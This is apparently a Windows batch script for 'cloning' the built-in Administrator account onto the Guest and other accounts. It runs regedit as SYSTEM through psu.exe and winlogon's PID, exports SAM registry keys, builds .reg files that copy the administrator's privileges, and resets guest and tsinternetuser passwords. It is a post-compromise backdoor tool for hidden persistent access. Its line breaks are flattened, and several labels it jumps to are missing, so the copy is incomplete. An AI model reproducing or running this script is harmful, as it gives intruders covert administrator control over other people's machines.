:start @net user guest |find /i "*Domain" &&echo Domain Controller, Dont clone. ADD user! &&goto DOMAIN @if NOT "%USERNAME%"=="" echo username=[%username%],term_login mode. input PID. &&goto Term
:start1 @pulist.exe |findstr.exe /i "WINLOGON.exe" >a @setx.exe a -f a -a 0,1 >b @FOR /F "eol=; tokens=1,2,3* delims=, " %%i in (b) do @set zpid=%%i @goto AUTO
:Term @if "%1"=="" goto USAGE @if NOT "%2"=="" net user guest %2 @if NOT "%2"=="" net user |find /i "tsinternetuser" >nul &&net user tsinternetuser %2 @set zpid=%1
:AUTO @echo Make admg.reg admt.reg admiis.reg @psu.exe -p "%windir%/regedit.exe -e admin.reg HKEY_LOCAL_MACHINE/SAM/SAM/Domains/Account/Users/000001F4" -i %zpid% >nul @psu.exe -p "%windir%/regedit.exe -e name.$$$ HKEY_LOCAL_MACHINE/SAM/SAM/Domains/Account/Users/Names" -i %zpid% >nul @echo Windows Registry Editor Version 5.00 >admg.reg @echo Windows Registry Editor Version 5.00 >admt.reg @echo [HKEY_LOCAL_MACHINE/SAM/SAM/Domains/Account/Users/000001F5]>>admg.reg @echo [HKEY_LOCAL_MACHINE/SAM/SAM/Domains/Account/Users/000003e8]>>admt.reg @type admin.reg >a &echo "Unicode -->>> ansi . find.exe use it ansi." &if exist b del b @echo "F"=hex:02,00,01,00,00,00,00,00,00,00,00,00,00,00,00,01,00,00,00,00,00,00,00,/>>b @setx.exe a -f a -a 4,0 |find "," >>b @setx.exe a -f a -a 5,0 |find "," >>b @setx.exe a -f a -a 6,0 |find "," >>b @type b >>admg.reg @type b >>admt.reg
:IIS @set zda=no @echo iusr_iis exec @type name.$$$ >name.reg @copy name.reg name.txt >nul @FOR /L %%i IN (5,3,30) DO @(setx.exe a -f name.reg -a %%i,0 |find /i "IUSR_IIS$" &&set zda=%%i) @if "%zda%" =="no" goto PSU @rep.exe "IUSR_IIS$" name.txt /R /I >nul @rep.exe "Editor" name.txt /R /I >nul @find.exe /v /n "" name.txt >n1 @findstr /I "%zda%" n1 >name.iis @setx a -f name.iis -a 0,1 -d () >zdc @del n1 @del name.iis @del name.$$$ @del name.txt @del a @del b